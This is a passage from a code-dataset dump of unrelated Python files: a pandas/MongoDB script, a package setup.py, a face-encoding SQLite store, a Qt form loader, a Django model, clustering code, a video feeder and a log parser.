lowest_upper_bound:\n\t\t\tcontinue\n\t\tif subproblem.closed():\n\t\t\tprint\n\t\t\treturn subproblem.solution()\n\t\tsubsub = subproblem.split()\n\t\tassert len(subsub) > 0\n\t\tlowest_upper_bound = min(lowest_upper_bound, min(ss.upper for ss in subsub))\n\t\twork.extend(subsub)\n\t\twork.sort(key=lambda p: -p.lower)\n\n\traise Exception(\"Internal error: Out of subproblems before a solution was found\")\n","sub_path":"vin/algorithms.py","file_name":"algorithms.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"482098784","text":"from pymongo import MongoClient\nimport pandas as pd\nfrom pyspark import SparkContext, SparkConf\npd.set_option('display.max_columns', None)\npd.set_option('display.max_rows', None)\npd.set_option('expand_frame_repr', False)\n\nconnect = MongoClient(host='192.168.0.112')\n\ndata = list(connect.brasileiro.jogos.find(projection={'_id':False}))\n\ndf = pd.DataFrame(list(data))\njogos = pd.DataFrame(list(df['Jogo']))\n\narbitragem = pd.DataFrame(list(jogos['Arbitragem']))\n\narbitragem = pd.concat([jogos['No'], \n pd.to_datetime(jogos['Data'], format='%d/%m/%Y'), \n arbitragem], axis=1)\n\n#print(arbitragem[arbitragem.columns[0:3]][0:10])\njaneiro = arbitragem.loc[(arbitragem['Data'].dt.year==2020) & (arbitragem['Data'].dt.day==13)]\njaneiro = janeiro[janeiro.columns[0:7]].iloc[0:10]\nindex_off = janeiro.set_index(['No', 'Data'])\n\nmandante = pd.DataFrame(list(jogos['Mandante']))\nmandante = pd.DataFrame(list(mandante['Jogadores']))\n\n# Oriented for Column\nlista_jogadores_mandantes = [i for i in mandante.iloc[0].dropna()]\nprint(pd.DataFrame.from_records(lista_jogadores_mandantes)) \n\nlista_jogadores_mandantes = []\n\nfor i in mandante.index: \n lista_jogadores_mandantes = [i for i in mandante.iloc[i].dropna()]\n \n# From Records obrigatóriamente orientado à coluna\n# From dict orientado às\nprint(pd.DataFrame.from_records(lista_jogadores_mandantes))","sub_path":"aw_pandas.py","file_name":"aw_pandas.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"53827097","text":"from setuptools import setup\n\nwith open(\"README.md\") as handle:\n readme_md = handle.read().replace(\"\\n\",\"\")\n\n__version__ = \"Undefined\"\nfor line in open('SNDG/__init__.py'):\n if (line.startswith('__version__')):\n exec(line.strip())\n\nsetup(\n name = 'sndg-bio',\n packages = ['SNDG','SNDG.Structure','SNDG.Comparative','SNDG.WebServices'],\n version = __version__,\n scripts = [\"scripts/structurome.py\",\"scripts/vcf2aln.py\",\"scripts/render_tree.py\"],\n description = readme_md,\n author = 'Ezequiel Sosa - SNDG',\n install_requires=[\"tqdm\",\"bcbio-gff\",\"biopython\",\"goatools\"],\n author_email = 'ezequieljsosa@gmail.com',\n url = 'https://github.com/ezequieljsosa/sndg-bio',\n download_url = 'https://github.com/ezequieljsosa/sndg-bio/archive/0.1.tar.gz',\n keywords = ['bioinformatics', 'sequence', 'example'],\n classifiers = [ 'Programming Language :: Python','Topic :: Scientific/Engineering :: Bio-Informatics','Intended Audience :: Science/Research',],\n)\n\n# rm -r dist/;python setup.py sdist bdist_wheel;twine upload dist/*\n# ~/.pypirc\n# [pypi]\n# repository:https://upload.pypi.org/legacy/\n# username = xxxxx\n# password = xxxxx\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"376828351","text":"import base64\nimport face_recognition\nimport os\nimport numpy as np\nimport PIL\nimport io\nimport sqlite3\n\nclass dataBase:\n cursor = None\n conn = None\n count = None\n def __init__(self):\n self.conn = sqlite3.connect(\"mydatabase.db\")\n self.cursor = self.conn.cursor()\n\n def create(self):\n self.cursor.execute(\"\"\"CREATE TABLE users\n (id integer, name text, email text,\n photos text, encode text)\n \"\"\")\n\n def add_new(self, userInfo):\n count = \"\"\"SELECT count(*) as tot FROM users\"\"\"\n self.cursor.execute(count)\n self.count = self.cursor.fetchone()[0]\n print(self.count)\n print(type(self.count))\n lastid = self.count\n splits = userInfo.split(\" &@# \")\n bytes = base64.b64decode(splits[4]) #фото РІ байтах\n biden_encoding = face_recognition.face_encodings(load_face_from_bytes(bytes))[0] #сохраняем еще СЌРЅРєРѕРґ, чтобы постоянно РЅРµ энкодировать сохраненные фотографии\n enc_str = \"\"\n for i in biden_encoding:\n enc_str += str(i) + \" \"\n tuple_str = (lastid, splits[2], splits[3], splits[4], enc_str[:-1])\n self.cursor.execute(\"INSERT INTO users VALUES (?,?,?,?,?)\", tuple_str)\n self.conn.commit()\n\n def getInfoUserById(self, id):\n self.cursor.execute(\"SELECT * FROM users WHERE id=?\", [(id)])\n g = self.cursor.fetchone()\n photos = g[3].split(\" /*(=)*\\ \")\n return str(g[0]) +\" &@# \"+ g[1] + \" &@# \" + g[2] + \" &@# \" + photos[0]\n\n def getEncodesDict(self):\n count = \"\"\"SELECT count(*) as tot FROM users\"\"\"\n self.cursor.execute(count)\n self.count = self.cursor.fetchone()[0]\n encodesDict = {}\n sql = \"SELECT encode FROM users\"\n self.cursor.execute(sql)\n g = self.cursor.fetchall()\n for i in range(self.count):\n splits = g[i][0].split(\" /*(=)*\\ \")\n enc = []\n for j in range(len(splits)):\n enc.append(np.array(splits[j].split(\" \")).astype(float).tolist())\n encodesDict[i] = enc\n return encodesDict\n\n def add_new_face(self, id, image):\n count = \"\"\"SELECT count(*) as tot FROM users\"\"\"\n self.cursor.execute(count)\n self.count = self.cursor.fetchone()[0]\n self.cursor.execute(\"SELECT * FROM users WHERE id=?\", [(id)])\n g = self.cursor.fetchone()\n bytes = base64.b64decode(image) # фото РІ байтах\n biden_encoding = face_recognition.face_encodings(load_face_from_bytes(bytes))[0] # сохраняем еще СЌРЅРєРѕРґ, чтобы постоянно РЅРµ энкодировать сохраненные фотографии\n enc_str = \"\"\n for i in biden_encoding:\n enc_str += str(i) + \" \"\n newg3 = g[3] + \" /*(=)*\\ \" + image\n newg4 = g[4] + \" /*(=)*\\ \" + enc_str[:-1]\n sql = \"\"\"\n UPDATE users\n SET photos =? \n WHERE id =?\n \"\"\"\n self.cursor.execute(sql, [(newg3), (id)])\n sql = \"\"\"\n UPDATE users\n SET encode =? \n WHERE id =?\n \"\"\"\n self.cursor.execute(sql, [(newg4), (id)])\n self.conn.commit()\n\ndef load_face_from_bytes(bytes):\n im = PIL.Image.open(io.BytesIO(bytes))\n mode = \"RGB\"\n if mode:\n im = im.convert(mode)\n return np.array(im)","sub_path":"dataBase.py","file_name":"dataBase.py","file_ext":"py","file_size_in_byte":3875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"145914936","text":"# -*- coding: utf-8 -*-\n\n# Copyright (c) 2011 - 2019 Detlev Offenbach \n#\n\n\"\"\"\nModule to get the object name, class name or signatures of a Qt form (*.ui).\n\"\"\"\n\nimport sys\nimport json\nimport xml.etree.ElementTree\n\ntry:\n from PyQt5.QtCore import QMetaMethod, QByteArray\n from PyQt5.QtWidgets import QAction, QWidget, QApplication\n from PyQt5 import uic\nexcept ImportError:\n print(\"PyQt5 could not be found.\")\n sys.exit(1)\n\n\ndef objectName(formFile, projectPath):\n \"\"\"\n Function to get the object name of a form.\n \n @param formFile file name of the form\n @type str\n @param projectPath directory name of the project\n @type str\n \"\"\"\n app = QApplication([]) # __IGNORE_WARNING__\n try:\n dlg = uic.loadUi(formFile, package=projectPath)\n print(dlg.objectName())\n sys.exit(0)\n except (AttributeError, ImportError,\n xml.etree.ElementTree.ParseError) as err:\n print(str(err))\n sys.exit(1)\n\n\ndef className(formFile, projectPath):\n \"\"\"\n Function to get the class name of a form.\n \n @param formFile file name of the form\n @type str\n @param projectPath directory name of the project\n @type str\n \"\"\"\n app = QApplication([]) # __IGNORE_WARNING__\n try:\n dlg = uic.loadUi(formFile, package=projectPath)\n print(dlg.metaObject().className())\n sys.exit(0)\n except (AttributeError, ImportError,\n xml.etree.ElementTree.ParseError) as err:\n print(str(err))\n sys.exit(1)\n\n\ndef __mapType(type_):\n \"\"\"\n Private function to map a type as reported by Qt's meta object to the\n correct Python type.\n \n @param type_ type as reported by Qt\n @type QByteArray or bytes\n @return mapped Python type\n @rtype str\n \"\"\"\n mapped = bytes(type_).decode()\n \n # I. always check for *\n mapped = mapped.replace(\"*\", \"\")\n \n # 1. check for const\n mapped = mapped.replace(\"const \", \"\")\n \n # 2. replace QString and QStringList\n mapped = (\n mapped\n .replace(\"QStringList\", \"list\")\n .replace(\"QString\", \"str\")\n )\n \n # 3. replace double by float\n mapped = mapped.replace(\"double\", \"float\")\n \n return mapped\n\n\ndef signatures(formFile, projectPath):\n \"\"\"\n Function to get the signatures of form elements.\n \n @param formFile file name of the form\n @type str\n @param projectPath directory name of the project\n @type str\n \"\"\"\n objectsList = []\n \n app = QApplication([]) # __IGNORE_WARNING__\n try:\n dlg = uic.loadUi(formFile, package=projectPath)\n objects = dlg.findChildren(QWidget) + dlg.findChildren(QAction)\n for obj in objects:\n name = obj.objectName()\n if not name or name.startswith(\"qt_\"):\n # ignore un-named or internal objects\n continue\n \n metaObject = obj.metaObject()\n objectDict = {\n \"name\": name,\n \"class_name\": metaObject.className(),\n \"methods\": [],\n }\n \n for index in range(metaObject.methodCount()):\n metaMethod = metaObject.method(index)\n if metaMethod.methodType() == QMetaMethod.Signal:\n signatureDict = {\n \"methods\": []\n }\n signatureDict[\"signature\"] = \"on_{0}_{1}\".format(\n name,\n bytes(metaMethod.methodSignature()).decode()\n )\n \n signatureDict[\"methods\"].append(\"on_{0}_{1}\".format(\n name,\n bytes(metaMethod.methodSignature())\n .decode().split(\"(\")[0]\n ))\n signatureDict[\"methods\"].append(\"{0}({1})\".format(\n signatureDict[\"methods\"][-1],\n \", \".join([\n __mapType(t)\n for t in metaMethod.parameterTypes()\n ])\n ))\n \n returnType = __mapType(\n metaMethod.typeName().encode())\n if returnType == 'void':\n returnType = \"\"\n signatureDict[\"return_type\"] = returnType\n parameterTypesList = [\n __mapType(t)\n for t in metaMethod.parameterTypes()\n ]\n signatureDict[\"parameter_types\"] = parameterTypesList\n pyqtSignature = \", \".join(parameterTypesList)\n signatureDict[\"pyqt_signature\"] = pyqtSignature\n \n parameterNames = metaMethod.parameterNames()\n if parameterNames:\n for index in range(len(parameterNames)):\n if not parameterNames[index]:\n parameterNames[index] = QByteArray(\n \"p{0:d}\".format(index).encode(\"utf-8\")\n )\n parameterNamesList = [bytes(n).decode()\n for n in parameterNames]\n signatureDict[\"parameter_names\"] = parameterNamesList\n methNamesSig = \", \".join(parameterNamesList)\n \n if methNamesSig:\n pythonSignature = \"on_{0}_{1}(self, {2})\".format(\n name,\n bytes(metaMethod.methodSignature())\n .decode().split(\"(\")[0],\n methNamesSig)\n else:\n pythonSignature = \"on_{0}_{1}(self)\".format(\n name,\n bytes(metaMethod.methodSignature())\n .decode().split(\"(\")[0])\n signatureDict[\"python_signature\"] = pythonSignature\n \n objectDict[\"methods\"].append(signatureDict)\n \n objectsList.append(objectDict)\n \n print(json.dumps(objectsList))\n sys.exit(0)\n except (AttributeError, ImportError,\n xml.etree.ElementTree.ParseError) as err:\n print(str(err))\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 4:\n print(\"Wrong number of arguments.\")\n sys.exit(1)\n \n if sys.argv[1] == \"object_name\":\n objectName(sys.argv[2], sys.argv[3])\n elif sys.argv[1] == \"class_name\":\n className(sys.argv[2], sys.argv[3])\n elif sys.argv[1] == \"signatures\":\n signatures(sys.argv[2], sys.argv[3])\n else:\n print(\"Unknow operation given.\")\n sys.exit(1)\n \n#\n# eflag: noqa = M701, M801\n","sub_path":"PYTHON/Python_GUI/eric6-19.11/eric/eric6/Project/UicLoadUi.py","file_name":"UicLoadUi.py","file_ext":"py","file_size_in_byte":6964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"401624834","text":"from django.db import models\nfrom django.core.exceptions import ValidationError \nimport re\n\n# 出版日期验证器\ndef validate_pub_date(value):\n if value > 9999 or value < 1:\n raise ValidationError('出版年份应为0-9999年' ) \n\n# 分类号验证器\ndef validate_CLC(value):\n if re.match('^[ABCDEFGHIJKNOPQRSTUVXZ]', value) != None: \n if len(value) == 1: \n pass\n else:\n if re.match('^[ABCDEFGHIJKNOPQRSTUVXZ]\\d+$', value) != None:\n pass\n else:\n raise ValidationError('请输入正确分类号' ) \n else:\n raise ValidationError('请输入正确分类号' ) \n\n \nclass Book(models.Model):\n # 书名,唯一的,不可为空\n title = models.CharField(\n unique=True, \n max_length=200, \n verbose_name='书名',\n error_messages={'unique':\"该书名已存在,请重新检查\"}\n )\n\n # 出版社\n publisher = models.CharField(\n null=True, \n blank=True, \n max_length=200,\n verbose_name='出版社',\n )\n\n # 作者\n author = models.CharField(\n null=True, \n blank=True, \n max_length=200,\n verbose_name='作者',\n )\n\n # ISBN\n ISBN = models.CharField(\n null=True, \n blank=True,\n max_length=200,\n verbose_name='ISBN',\n )\n\n # 中图法分类号\n CLC = models.CharField(\n null=True, \n blank=True, \n max_length=200,\n validators=[validate_CLC], # 分类号验证器\n verbose_name='分类号',)\n\n # 出版日期\n pub_date = models.IntegerField(\n null=True, \n blank=True,\n validators=[validate_pub_date], # 出版日期验证器\n verbose_name='出版日期',\n )\n\n def __str__(self):\n return self.title\n\n\nclass BookID(models.Model):\n belong_to = models.ForeignKey(Book)\n book_id = models.AutoField(primary_key=True)\n is_lately_book = models.BooleanField(default=True)\n\n\n\n","sub_path":"bookshelf_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"519841194","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.cluster import KMeans,SpectralClustering,AgglomerativeClustering\nfrom sklearn.mixture import GaussianMixture\nimport matplotlib.pyplot as plt\n\nimport stats\nfrom generativeModel import calcDistances\n\n\n\ncolPool = [ '#bd2309', '#bbb12d', '#1480fa', '#14fa2f', '#000000',\\\n '#faf214', '#2edfea', '#ea2ec4', '#ea2e40', '#cdcdcd',\\\n '#577a4d', '#2e46c0', '#f59422', '#219774', '#8086d9' ]\n\ndef plotKmeans(X, Y, k=3):\n\n kmeans = KMeans(n_clusters=k)\n y_kmeans = kmeans.fit_predict(X)\n Y['kmeans'] = y_kmeans\n print(Y)\n\n\n\n # Step size of the mesh. Decrease to increase the quality of the VQ.\n h = .02 # point in the mesh [x_min, x_max]x[y_min, y_max].\n\n # Plot the decision boundary. For that, we will assign a color to each\n x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1\n y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1\n xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))\n\n # Obtain labels for each point in mesh. Use last trained model.\n Z = kmeans.predict(np.c_[xx.ravel(), yy.ravel()])\n\n # Put the result into a color plot\n Z = Z.reshape(xx.shape)\n plt.figure(1)\n plt.clf()\n plt.imshow(Z, interpolation='nearest',\n extent=(xx.min(), xx.max(), yy.min(), yy.max()),\n cmap=plt.cm.Paired,\n aspect='auto', origin='lower')\n\n # plt.plot(reduced_data[:, 0], reduced_data[:, 1], 'k.', markersize=2)\n\n Y = Y.values\n labels_with_colors = {\"Blues\" : \"b\",\n \"Browns\" : \"brown\",\n \"Purples\": \"purple\",\n \"Whites\" : \"k\",\n \"Pinks\": \"pink\",\n \"Turquoises\": \"c\",\n \"Oranges\": \"orange\",\n \"Yellows\": \"yellow\",\n \"Greens\": \"g\",\n \"Greys\": \"grey\",\n \"Reds\": \"r\"}\n\n for label, color in labels_with_colors.items():\n labelIndexes = np.where(Y == label)\n # plt.subplot(3,4,i)\n plt.scatter(X[labelIndexes, 0], X[labelIndexes, 1], c=color,\n label=label)\n\n # Plot the centroids as a white X\n centroids = kmeans.cluster_centers_\n plt.scatter(centroids[:, 0], centroids[:, 1],\n marker='x', s=169, linewidths=3,\n color='w', zorder=10)\n plt.title('K-means clustering on the digits dataset (PCA-reduced data)\\n'\n 'Centroids are marked with white cross')\n plt.xlim(x_min, x_max)\n plt.ylim(y_min, y_max)\n plt.xticks(())\n plt.yticks(())\n plt.show()\n\n\n\ndef clusterDistribution(X, Y, k=3, clusModel ='kmeans'):\n \"\"\"\n\n :param X:\n :param Y:\n :param k:\n :param clusModel:\n :return:\n \"\"\"\n if clusModel == 'kmeans':\n clf = kmeans = KMeans(n_clusters=k)\n y_pred = kmeans.fit_predict(X)\n # print(clf.cluster_centers_)\n elif clusModel == 'GMM':\n clf = gmm = GaussianMixture(n_components=k)\n gmm.fit(X)\n y_pred = gmm.predict(X)\n elif clusModel == 'Spec':\n clf = spec = SpectralClustering(k)\n y_pred = spec.fit_predict(X)\n elif clusModel == 'Agg':\n clf = agg = AgglomerativeClustering(k)\n y_pred = agg.fit_predict(X)\n\n Y[clusModel] = y_pred\n\n clusterSize = { str(cluster):round(Y.loc[Y[clusModel]==cluster].shape[0]/Y.shape[0],2)\n for cluster in range(k)}\n\n new_plot = pd.crosstab([Y.Vote], Y[clusModel])\n new_plot.plot(kind='bar', stacked=True, \\\n color=colPool, grid=False)\n title = \"Distribution of {} in different parties\"\n plt.title(title.format(clusModel+str(k)))\n plt.xlabel('Name of Party')\n plt.ylabel('Number of Voters')\n plt.legend(loc=\"center left\", bbox_to_anchor=(1, 0.5))\n title += '.png'\n legend1 = plt.text(x=0,y=-100,s=clusterSize)\n\n plotName = title.format(clusModel+str(k))\n plt.savefig(\"plot/\" + plotName, bbox_inches=\"tight\")\n plt.clf()\n\n # print distances between clusters\n print(\"distances between clusters for \", clusModel + str(k))\n print(calcDistances([\"cluster \" + str(i) for i in range (0,k)], clf.cluster_centers_).to_string())\n\n # plot clusters\n labels_with_colors = np.array([\"Blues\", \"Browns\", \"Purples\", \"Whites\", \"Pinks\",\"Turquoises\",\"Oranges\",\"Yellows\",\n \"Greens\", \"Greys\", \"Reds\"]*3)\n ## method = \"pca\" or \"tsne\"\n stats.plotReductionDims(X=pd.DataFrame(X), Y=pd.Series(labels_with_colors[y_pred]),\n title=\"scatter cluster of \"+clusModel + str(k), normalize=\"none\",method=\"pca\",\n n=2, toShow=False, toSave= True)\n","sub_path":"clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":4751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"551955052","text":"import numpy as np\nimport cv2\n\n\n\ncap = cv2.VideoCapture('sample_video.mp4')\nret, frame = cap.read()\nframe_size = frame.shape\nmu = np.mean(frame, axis=(0,1))\n\ndef get_sequence(seq_length, img_size=None):\n global cap\n if img_size:\n sequence = np.zeros((seq_length, img_size[0], img_size[1], frame_size[2]))\n else:\n sequence = np.zeros((seq_length, frame_size[0], frame_size[1], frame_size[2]))\n\n for i in range(seq_length):\n\n if not cap.isOpened():\n cap.release()\n cap = cv2.VideoCapture('sample_video.mp4')\n i = 0\n\n ret, frame = cap.read()\n print(frame.shape)\n print(sequence[0].shape)\n\n if img_size is None:\n sequence[i] = frame\n else:\n frame = frame - mu\n frame = cv2.resize(frame, img_size).astype(np.float32) / 255\n sequence[i] = frame\n #cv2.imshow('frame', frame)\n #cv2.imshow('frame', frame)\n\n\n\n #sequence[i] = frame\n\n return sequence\n\n\n\ndef get_data(batch_size, seq_length=10, img_size=None):\n counter = 0\n height = img_size[0] if img_size else frame_size[0]\n width = img_size[1] if img_size else frame_size[1]\n channels = frame_size[2]\n\n frame_buffer = np.zeros((batch_size, seq_length, height, width, channels))\n for i in range(batch_size):\n frame_buffer[i] = get_sequence(seq_length, img_size)\n return frame_buffer\n\n#batch_size = 32\n#seq_length = 2\n#img_size = (640, 640)\n#frame_buffer = get_data(batch_size, seq_length, img_size)\n#cv2.destroyAllWindows()\n","sub_path":"video_feeder.py","file_name":"video_feeder.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"318603471","text":"import os\nimport sys\nimport curses\nimport table\n\n# initialize screen\nstdscr = curses.initscr()\n\n# disable echoing of keys\ncurses.noecho()\n\n# enable keypad for not havin gto fiddle around with escape sequences\nstdscr.keypad(True)\n\n\ndef main():\n return None\n\n\nif __name__ == '__main__':\n\n main()\n\n # reset all configs made and quiting curses\n curses.nocbreak()\n stdscr.keypad(False)\n curses.echo()\n\n curses.endwin()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"547909985","text":"\n\n\nclass Solution:\n def twoSum(self, nums, target):\n\n # -----------------way1\n # for i in range(len(nums)):\n # if target - nums[i] in nums[i+1:]:\n # return [i, nums.index(target - nums[i], i+1)]\n\n # -----------------way2\n value_store = {}\n for i, value in enumerate(nums):\n if target - value in value_store.keys():\n return [i, value_store[target - value]]\n else:\n value_store[value] = i\n return []\n\n\n\n\ndef main():\n in_data = [3,2,4]\n s = Solution()\n res = s.twoSum(in_data, 6)\n print(res)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Week_01/0623-twoSum(1).py","file_name":"0623-twoSum(1).py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"478632051","text":"import datetime\nimport logging\nimport sys\nfrom marshmallow import Schema, fields, post_load, ValidationError, EXCLUDE\n\nfrom . import HivenObject\nfrom .. import utils\nfrom .. import exception as errs\n\nlogger = logging.getLogger(__name__)\n\n__all__ = ['UserTyping']\n\n\nclass UserTypingSchema(Schema):\n # Validations to check for the datatype and that it's passed correctly =>\n # will throw exception 'ValidationError' in case of an faulty data parsing\n\n author = fields.Raw(required=True)\n room = fields.Raw(required=True)\n house = fields.Raw(allow_none=True)\n author_id = fields.Int(required=True)\n house_id = fields.Int(allow_none=True)\n room_id = fields.Int(required=True)\n timestamp = fields.Raw(required=True)\n\n @post_load\n def make(self, data, **kwargs):\n \"\"\"\n Returns an instance of the class using the @classmethod inside the Class to initialise the object\n\n :param data: Dictionary that will be passed to the initialisation\n :param kwargs: Additional Data that can be passed\n :return: A new UserTyping Object\n \"\"\"\n return UserTyping(**data, **kwargs)\n\n\n# Creating a Global Schema for reuse-purposes\nGLOBAL_SCHEMA = UserTypingSchema()\n\n\nclass UserTyping(HivenObject):\n \"\"\"\n Represents a Hiven User Typing in a room\n \"\"\"\n def __init__(self, **kwargs):\n self._author = kwargs.get('author')\n self._room = kwargs.get('room')\n self._house = kwargs.get('house')\n self._author_id = kwargs.get('author_id')\n self._house_id = kwargs.get('house_id')\n self._room_id = kwargs.get('room_id')\n self._timestamp = kwargs.get('timestamp')\n\n def __repr__(self) -> str:\n info = [\n ('house_id', self.house_id),\n ('author_id', self.author_id),\n ('room_id', self.room_id),\n ('author', repr(self.author))\n ]\n return ''.format(' '.join('%s=%s' % t for t in info))\n\n @classmethod\n async def from_dict(cls,\n data: dict,\n http,\n user,\n room,\n house):\n \"\"\"\n Creates an instance of the Relationship Class with the passed data\n\n :param data: Dict for the data that should be passed\n :param http: HTTP Client for API-interaction and requests\n :param user: The user typing\n :param room: The room where the user is typing\n :param house: The house if the room is a house-room else private_room\n :return: The newly constructed Relationship Instance\n \"\"\"\n try:\n data['author'] = user\n data['house'] = house\n data['room'] = room\n data['author_id'] = utils.convert_value(int, data.get('author_id'))\n data['house_id'] = utils.convert_value(int, data.get('house_id'))\n data['room_id'] = utils.convert_value(int, data.get('room_id'))\n\n timestamp = data.get('timestamp')\n # Converting to seconds because it's in milliseconds\n if utils.convertible(int, timestamp):\n data['timestamp'] = datetime.datetime.fromtimestamp(utils.convert_value(int, timestamp))\n else:\n data['timestamp'] = timestamp\n\n instance = GLOBAL_SCHEMA.load(data, unknown=EXCLUDE)\n\n except ValidationError as e:\n utils.log_validation_traceback(cls, e)\n raise errs.InvalidPassedDataError(f\"Failed to perform validation in '{cls.__name__}'\", data=data) from e\n\n except Exception as e:\n utils.log_traceback(msg=f\"Traceback in '{cls.__name__}' Validation:\",\n suffix=f\"Failed to initialise {cls.__name__} due to exception:\\n\"\n f\"{sys.exc_info()[0].__name__}: {e}!\")\n raise errs.InitializationError(f\"Failed to initialise {cls.__name__} due to exception:\\n\"\n f\"{sys.exc_info()[0].__name__}: {e}!\") from e\n else:\n # Adding the http attribute for API interaction\n instance._http = http\n\n return instance\n\n @property\n def timestamp(self) -> datetime.datetime:\n return self._timestamp\n\n @property\n def author(self):\n return self._author\n\n @property\n def house(self):\n return self._house\n\n @property\n def room(self):\n return self._room\n\n @property\n def author_id(self):\n return self._author_id\n\n @property\n def house_id(self):\n return self._house_id\n\n @property\n def room_id(self):\n return self._room_id\n","sub_path":"openhivenpy/types/usertyping.py","file_name":"usertyping.py","file_ext":"py","file_size_in_byte":4685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"313526327","text":"#!python\n#-*-coding:utf-8-*-\n\n\nimport argparse\nimport os\nimport re\nfrom collections import OrderedDict\n\nRESULT_PATTERN= re.compile(r'the result:\\s*\\[(.+)\\]\\n')\nINTERVAL_PREDICTED_PATTERN = re.compile(r'the predicted interval:\\s*\\[(\\d+) (\\d+)\\]\\n')\nINTERVAL_TRUE_PATTERN = re.compile(r'the true interval:\\s*\\[(\\d+) (\\d+)\\]\\n')\nANAPHORA_PREDICTED_PATTERN = re.compile(r'the predicted anaphora position:\\[(\\d+)\\]\\n')\nANAPHORA_TRUE_PATTERN = re.compile(r'the true anaphora position:\\s*\\[(.+)\\]\\n')\nDATA_PATTERN = re.compile(r'data: {(.*)}')\n\nANAPHORA_SENTENCE = re.compile(r'[\\'\\\"]anaphora_sentence[\\'\\\"]: (?P[\\'\\\"])(?P.+?)(?P=border)')\nANAPHORA = re.compile(r'[\\'\\\"]anaphora[\\'\\\"]: [\\'\\\"](?P.+?)[\\'\\\"]')\nMENTION_SENTENCE = re.compile(r'[\\'\\\"]mention_sentence[\\'\\\"]: (?P[\\'\\\"])(?P.+?)(?P=border)')\nMENTION = re.compile(r'[\\'\\\"]mention[\\'\\\"]: (?P[\\'\\\"])(?P.+?)(?P=border)')\n\n\n\nclass Record:\n\n def __init__(self, result, pre_interval, true_interval, pre_ana, true_ana, data, format_strings):\n self.result = result\n self.pre_interval = pre_interval\n self.true_interval = true_interval\n self.pre_anaphora = pre_ana\n self.true_anaphora = true_ana\n self.data = data\n self.format_strings = format_strings\n\n\n @property\n def is_bad_men_case(self):\n return not self.is_good_case and not check_interval(self.pre_interval[0], self.pre_interval[1], self.true_interval[0], self.true_interval[1],self.data, tolerate=True)\n\n @property\n def is_bad_ana_case(self):\n return not self.is_good_case and self.pre_anaphora not in self.true_anaphora\n\n @property\n def is_bad_case(self):\n return not self.result\n\n @property\n def is_good_case(self):\n return self.result\n\n @property\n def pretty_form(self):\n string = \"=\"*30+\"\\n\"\n for line in self.format_strings:\n string += line\n return string\n\ndef generate_Record(log_lines):\n assert len(log_lines) == 6\n\n match= re.match(RESULT_PATTERN, log_lines[0]).group(1)\n the_result = match == 'True'\n match= re.match(INTERVAL_PREDICTED_PATTERN, log_lines[1])\n the_predicted_interval = int(match.group(1)), int(match.group(2))\n match = re.match(INTERVAL_TRUE_PATTERN, log_lines[2])\n the_true_interval = int(match.group(1)), int(match.group(2))\n the_pre_ana = int(re.match(ANAPHORA_PREDICTED_PATTERN, log_lines[3]).group(1))\n the_tru_ana = [int(_) for _ in re.match(ANAPHORA_TRUE_PATTERN, log_lines[4]).group(1).split(' ')]\n data = re.match(DATA_PATTERN, log_lines[5]).group(1)\n ana_sen = re.search(ANAPHORA_SENTENCE, data).group('ana_sen')\n ana = re.search(ANAPHORA, data).group('ana')\n men_sen = re.search(MENTION_SENTENCE, data).group('men_sen')\n men = re.search(MENTION, data).group('men')\n\n\n the_data = OrderedDict()\n the_data['mention_sentence'] = men_sen\n the_data['anaphora_sentence'] = ana_sen\n the_data['mention'] = men\n the_data['anaphora'] = ana\n\n return Record(\n result=the_result,\n pre_interval=the_predicted_interval,\n true_interval=the_true_interval,\n pre_ana=the_pre_ana,\n true_ana=the_tru_ana,\n data = the_data,\n format_strings = log_lines\n )\n\n\ndef process_log_file(file):\n records = []\n with open(file, 'r', encoding='utf8')as p:\n lines = p.readlines()\n log_num = int(len(lines)/7)\n for i in range(log_num):\n r = generate_Record(lines[i*7:(i+1)*7][1:])\n records.append(r)\n return records\n\ndef get_bad_cases(out_file, records):\n bad_cases = []\n for r in records:\n if r.is_bad_case:\n bad_cases.append(r.pretty_form)\n with open(out_file, \"w\", encoding=\"utf8\")as p:\n p.write(\"Total num: {}\\n\".format(len(bad_cases)))\n for case in bad_cases:\n p.write(case)\n\ndef get_bad_men_cases(out_file, records):\n bad_men_cases=[]\n for r in records:\n if r.is_bad_men_case:\n bad_men_cases.append(r.pretty_form)\n with open(out_file, \"w\", encoding=\"utf8\")as p:\n p.write(\"Total num: {}\\n\".format(len(bad_men_cases)))\n for case in bad_men_cases:\n p.write(case)\n\ndef get_bad_ana_cases(out_file, records):\n bad_ana_cases=[]\n for r in records:\n if r.is_bad_ana_case:\n bad_ana_cases.append(r.pretty_form)\n\n with open(out_file, \"w\", encoding=\"utf8\")as p:\n p.write(\"Total num: {}\\n\".format(len(bad_ana_cases)))\n for case in bad_ana_cases:\n p.write(case)\n\ndef 